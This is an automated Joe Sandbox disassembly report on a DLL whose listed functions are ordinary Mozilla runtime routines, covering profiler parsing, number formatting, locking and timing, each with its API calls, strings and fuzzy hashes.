__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,6C96EE51,00000000,?), ref: 6C9C60BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C60C4

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID:
API String ID: 3835517998-0
Opcode ID: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction ID: d92c8d129c0a24130f979a2f763636445208d064b71910aab2c04378a409b6b7
Opcode Fuzzy Hash: ea0b68077fa64ffd76dcc47ef03e6f4f69b179985f30176288c68950faa8d9a7
Instruction Fuzzy Hash: AF21E771A003089FDF10AF25DC09BAE7BB8FF59214F108428E85AA7241CB35E558CFD6

Function 6C9C7030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C9C7046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C9C7060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C707E

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9C7096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C9C709C
LocalFree.KERNEL32(?), ref: 6C9C70AA

Strings

### ERROR: %s: %s, xrefs: 6C9C7087
(null), xrefs: 6C9C706A, 6C9C7083

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction ID: 50fe69005c182e798a9f15668ccba81107089ea7272f5e11be6f008f9f28ce09
Opcode Fuzzy Hash: 799d50ae2c8cd4392b7396ed99514a563573442b8f12c1fd3b3a1d9ce1cbd790
Instruction Fuzzy Hash: B001F9B1A00204AFDB40ABA4DC0ADAF7BBCEF5D215F110438FA05A3241E631A9148BE5

Function 6C989E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C989EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C989F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C989F34
LeaveCriticalSection.KERNEL32(?), ref: 6C98A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C98A8B1, 6C98A8D4, 6C98A8EF

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction ID: 5fbc5079064593bcb9c93d3442eddf73db190925f6fb4ff7465c25f263bc933a
Opcode Fuzzy Hash: cde5646b796971ff5ae54760adf51a12e01acdd0eb05b015ade1a5c8bd69a31b
Instruction Fuzzy Hash: 5D728D72A067118FD714CF28C540215FBE5BF89328F2ACAADE8699B7D1D735E841CB80

Function 6C9B2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9B2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9B2C61

Part of subcall function 6C964DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C964E5A
Part of subcall function 6C964DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C964E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9B2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C9B2E2D

Part of subcall function 6C9781B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C9781DE

Strings

(root), xrefs: 6C9B354F
expected a Time entry, xrefs: 6C9B2E36
ProfileBuffer parse error: %s, xrefs: 6C9B2E3B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction ID: 0e82305e77267a25958e945baa88ae0951f10a098b746c708860881212eb99dd
Opcode Fuzzy Hash: 051c9d082c5821644c26f3b8e480c488fc55b8b01ee6521ea9ca19aa7f22a088
Instruction Fuzzy Hash: 4791BFB0608B40AFC724CF24C49469FB7E5EFD9358F10891DE59AAB750DB30E949CB52

Function 6C98C0E0 Relevance: 11.2, APIs: 4, Strings: 2, Instructions: 728COMMON

Download Yara Rule

Strings

MOZ_CRASH(), xrefs: 6C98D4BB
0123456789abcdef, xrefs: 6C98C317

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: 0123456789abcdef$MOZ_CRASH()
API String ID: 0-3968268099
Opcode ID: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction ID: d6823aab76d6d217b7a1c47d9074fd7f92bfa692dc26a7ff4b3ebf7128c90589
Opcode Fuzzy Hash: a0559201fb54e4bb5dbdf6e5a296bf40641f38dc39e42f3d8cfade126cc7b4d0
Instruction Fuzzy Hash: E552C13160A3428FD724CF28C49076AB7E6FF8A318F248E1ED99687B95D735D845CB42

Function 6C9C9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C9C9F3D
__aulldiv.LIBCMT ref: 6C9C9F77
__aullrem.LIBCMT ref: 6C9C9F8C
__aulldiv.LIBCMT ref: 6C9CA023

Strings

-Infinity, xrefs: 6C9C9E60, 6C9C9E7B
NaN, xrefs: 6C9C9EAB

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction ID: 2d046e7d8ccc60130126665580cd21b528b909adca834dcfbe03bef720b97a9b
Opcode Fuzzy Hash: 1878906bbb34f85a380a7cb9515025233fd6f2394b67ad10b68b7a7e09835e22
Instruction Fuzzy Hash: 22C1BF31F04319CBDB14CFA8C8507AEB7B6AB95318F144529D406ABB80DB71ED49CB92

Function 6C96D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C96DC7F
1, xrefs: 6C96DBDD
-, xrefs: 6C96D7DD
0, xrefs: 6C96D852
@, xrefs: 6C96DAF6
8, xrefs: 6C96DC08
9, xrefs: 6C96DE7F
, xrefs: 6C96DA88

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction ID: a0901f222cd8859a407b961e5c55f7510dac1a46e8bb02b0adb94351604edb07
Opcode Fuzzy Hash: d422a437f902954c7f4d47f26aa9593decdb02c354d74d2faeb5604f4aa8a01f
Instruction Fuzzy Hash: 3362BC7250D3458FE701CE2AC09076ABBE6AF86358F284A4DE4E54BFD5C335D985CB82

Function 6C979F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

0, xrefs: 6C97A100
' , xrefs: 6C97A3D8
0, xrefs: 6C97AB22
@, xrefs: 6C97A625
1, xrefs: 6C97A824
9, xrefs: 6C97A5D6

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction ID: a1be253c2caa14fe329c049bd74b65482e8243ccad3493cbe9aed38c26178273
Opcode Fuzzy Hash: d76fcf7af0b8365144aa1527f566321c4b1d1706847f2973b619ef0bd7ac3535
Instruction Fuzzy Hash: BB82E13190B3118BD730CF19C48426EB7F6FB81718F55A92AE89547E90DB35E885CBA2

Function 6C96BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C96C1CB
__aulldiv.LIBCMT ref: 6C96C24C
__aulldiv.LIBCMT ref: 6C96C348
__aullrem.LIBCMT ref: 6C96C365
__aulldiv.LIBCMT ref: 6C96C37D

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 2198b8d92d22e8dc58fa359ef4a537a2fc8e157b52ebe8a950d52e9ade9fa540
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 51323832B046018FDB18DE2DC890666BBE6AFD9310F09866DE895CB7D5D730DD05CB91

Function 6C9D545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D8A4B

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: cc7a2ef15a71ddddc90dd85fe83ebbcea8de06ce68a6e7893d1ff32e00509b1a
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 10B1E772E0061A8FDB14CF68CC907A9B7B6EF95314F1A42A9C549EB781D730E985CB90

Function 6C9D542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C9D88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 5500b97effd87f839a53f5ec3485a5758551096bee4b98d62caf4844f2ae5e49
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 1CB1E572E0061A8FCB14CF58CC906ADB7B6EF95314F1A42A9C549EB785D730E989CB90

Function 6C9D50C7 Relevance: 6.5, APIs: 5, Instructions: 280COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9D8E18
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C9D925C

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction ID: 7209bfe219e37980f5c496360648875c623d40650a72435ca9e4d91eb2b98cb4
Opcode Fuzzy Hash: 8a04f876341ba59a6ddb8d2d2d5789db075aee54b4cc3de998e3f034435ba008
Instruction Fuzzy Hash: D8A1F672A005178FCB14CE68CC907ADB7B6EF95314F1A42B9C949EB785D730E989CB90

Function 6C9B77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9B7A93

Part of subcall function 6C985C50: GetTickCount64.KERNEL32 ref: 6C985D40
Part of subcall function 6C985C50: EnterCriticalSection.KERNEL32(6C9EF688), ref: 6C985D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9B7AA1

Part of subcall function 6C985C50: __aulldiv.LIBCMT ref: 6C985DB4
Part of subcall function 6C985C50: LeaveCriticalSection.KERNEL32(6C9EF688), ref: 6C985DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C9B7B31

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction ID: f8be5d61e2a9f030d7f08675d196bc2e66d0c5e35e9f264214a8de5c9a793c4f
Opcode Fuzzy Hash: 8e98d7b456fd5e39b485117d49b3de9adfd02648bf538e5d25a2c7b0b366184a
Instruction Fuzzy Hash: 28B1AF356087809BCB14CF24C49065FB7E2BFD9318F254A1CE99677B91DB70E90ACB92

Function 6C9A6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C9A6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A6E1E

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction ID: 2a26b82c877f0ad9090e72f6f06b9436770b29fd3cfd7ab3e3b88798fe456d99
Opcode Fuzzy Hash: 273206f7c8d90829a06144a80fc5343d382ceb3a0be73cf25a91c53055643e4d
Instruction Fuzzy Hash: 80A17D746183819FDB14CF28C4807AEFBE6BFA8308F54491DE48A97751DB70E859CB92

Function 6C9CB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 6C9CB720
RtlNtStatusToDosError.NTDLL ref: 6C9CB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,000000FF,00000000,00000000,?,0000001C,6C99FE3F,00000000,00000000,?,?,00000000,?,6C99FE3F), ref: 6C9CB760

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction ID: 5ccbcb7234e88fa190c0227e1180db810b75f157bce09acde5fc46ad17f78c82
Opcode Fuzzy Hash: b3d88ed26074cd1c7ace71d203a8643a5c279f0e5f308ba6e2cdcccf202015fa
Instruction Fuzzy Hash: 60F0C2B0A0420DAEEF019AA1CC85BEF77BD9B28719F105129E911719C0D778E6DCCE62

Function 6C984640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C984777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C985585, 6C9855A8, 6C9855C3, 6C985624

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction ID: 5eeea10bf034b3d52165101627eb5782c1ce013d210ee24af936e5b57450b8ec
Opcode Fuzzy Hash: 81c1fa7a5732645c98f05b394697559ca47b29cbc3234b4f825d5839910a390f
Instruction Fuzzy Hash: B9B27D71A067018FD708CF19C590715BBE6BFC5328B29CBADE46A8B6E5D771E841CB80

Function 6C9C85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9C8C7C
__aulldiv.LIBCMT ref: 6C9C8DD7

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: f12e46c384c623772f879381122d2482cffaa12877b7276e2bba0dd1ac5da4a6
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 0E326B71F0011A8BDF1CCE9CC9A17BEB7B6FB88300F15852AD506BB790DA349D458B96

Function 6C9CB8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C9703D4,?), ref: 6C9CB955
NtQueryVirtualMemory.NTDLL ref: 6C9CB9A5

Memory Dump Source

Source File: 00000000.00000002.2744188356.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2744160433.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744265923.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744294935.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2744319308.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction ID: a63463f95096f1481e5ac80add819cacd44e6b423f884e7ef8a666fdd7909bf0
Opcode Fuzzy Hash: 82101772c390d49ff337f7b04df9e1fd0c4d330ec587c00af3e6140a85ec4989
Instruction Fuzzy Hash: 3D41B471F01219DFDF04CFA8D881ADEB7B9EF98354F14812AE505A7704DB31E8458B92

